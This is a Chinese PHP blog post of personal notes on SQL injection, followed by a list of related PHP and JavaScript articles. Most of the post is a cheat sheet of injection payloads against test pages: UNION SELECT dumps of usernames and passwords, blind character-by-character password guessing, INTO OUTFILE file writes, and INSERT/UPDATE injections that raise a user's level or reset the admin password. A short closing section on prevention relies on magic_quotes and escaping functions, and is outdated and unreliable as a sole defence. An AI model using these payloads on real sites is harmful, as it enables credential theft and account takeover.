PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
PHP 存取 MySQL 数据库的一个例子
Oct 09 PHP
PHP新手上路(十三)
Oct 09 PHP
PHP similar_text 字符串的相似性比较函数
May 26 PHP
PHP调用JAVA的WebService简单实例
Mar 11 PHP
PHP将两个关联数组合并函数提高函数效率
Mar 18 PHP
php验证是否是md5编码的简单代码
Apr 01 PHP
PHP自带ZIP压缩、解压缩类ZipArchiv使用指南
Mar 03 PHP
php实现和c#一致的DES加密解密实例
Jul 24 PHP
php获取微信基础接口凭证Access_token
Aug 23 PHP
针对PHP开发安全问题的相关总结
Mar 22 PHP
浅谈php调用python文件
Mar 29 PHP
PHP扩展安装方法步骤解析
Nov 24 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
php 数组的一个悲剧?
2011/05/11 PHP
PHP模块 Memcached功能多于Memcache
2011/06/14 PHP
PHP Warning: PHP Startup: Unable to load dynamic library \ D:/php5/ext/php_mysqli.dll\
2012/06/17 PHP
CodeIgniter配置之database.php用法实例分析
2016/01/20 PHP
PHP中类型转换 ,常量,系统常量,魔术常量的详解
2017/10/26 PHP
PHP中in_array的隐式转换的解决方法
2018/03/06 PHP
PHP开发API接口签名生成及验证操作示例
2020/05/27 PHP
jquery事件的ready()方法使用详解
2015/11/11 Javascript
理解javascript函数式编程中的闭包(closure)
2016/03/08 Javascript
Javascript中apply、call、bind的巧妙使用
2016/08/18 Javascript
JS实现的按钮点击颜色切换功能示例
2017/10/19 Javascript
简述Angular 5 快速入门
2017/11/04 Javascript
利用js给datalist或select动态添加option选项的方法
2018/01/25 Javascript
详解javascript appendChild()的完整功能
2018/08/18 Javascript
react同构实践之实现自己的同构模板
2019/03/13 Javascript
layUI实现列表查询功能
2019/07/27 Javascript
原生js实现商品筛选功能
2019/10/28 Javascript
jQuery实现可以计算进制转换的计算器
2020/10/19 jQuery
[06:33]DOTA2亚洲邀请赛小组赛第二日 TOP10精彩集锦
2015/01/31 DOTA
python中的__init__ 、__new__、__call__小结
2014/04/25 Python
Python实现的归并排序算法示例
2017/11/21 Python
Windows下的Python 3.6.1的下载与安装图文详解(适合32位和64位)
2018/02/21 Python
Python中循环引用(import)失败的解决方法
2018/04/22 Python
Python中存取文件的4种不同操作
2018/07/02 Python
python openCV获取人脸部分并存储功能
2019/08/28 Python
详解PyQt5信号与槽的几种高级玩法
2020/03/24 Python
利用Python如何制作贪吃蛇及AI版贪吃蛇详解
2020/08/24 Python
css3实现可拖动的魔方3d效果
2019/05/07 HTML / CSS
英国领先的在线高尔夫设备零售商:Golfgeardirect
2020/12/11 全球购物
最新远光软件笔试题面试题内容
2013/11/08 面试题
中秋节主持词
2014/04/02 职场文书
城管大队整治方案
2014/05/06 职场文书
驾驶员安全责任书范本
2014/07/24 职场文书
2014员工聘用协议书(最新版)
2014/11/24 职场文书
财务部岗位职责范本
2015/04/14 职场文书
python实现求纯色彩图像的边框
2021/04/08 Python